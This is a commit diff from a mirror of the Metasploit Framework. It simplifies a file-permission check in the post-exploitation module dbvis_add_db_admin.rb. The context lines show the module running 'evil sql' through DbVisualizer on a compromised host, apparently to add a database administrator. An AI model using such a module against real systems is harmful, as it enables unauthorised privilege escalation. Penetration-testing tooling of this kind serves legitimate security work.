infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Update dbvis_add_db_admin.rb

bug/bundler_fix
David Bloom 2014-07-16 18:30:23 +02:00
parent c3b87e2e6c
commit 5f38ad5e10
1 changed files with 1 additions and 8 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

9
modules/post/multi/manage/dbvis_add_db_admin.rb
View File

@ -198,14 +198,7 @@ class Metasploit3 < Msf::Post
if file?(dbvis)==true if file?(dbvis)==true
can_exec = false can_exec = false
f = session.fs.file.stat(dbvis) f = session.fs.file.stat(dbvis)
if f.uid == Process.euid if f.uid == Process.euid or Process.groups.include?f.gid
can_exec = true
else
if Process.groups.include?f.gid
can_exec = true
end
end
if can_exec == true
print_status("Trying to execute evil sql, it can take time ...") print_status("Trying to execute evil sql, it can take time ...")
args = "-connection #{datastore['DBALIAS']} -sql \"#{sql}\"" args = "-connection #{datastore['DBALIAS']} -sql \"#{sql}\""
dbvis ="\"#{dbvis}\"" dbvis ="\"#{dbvis}\""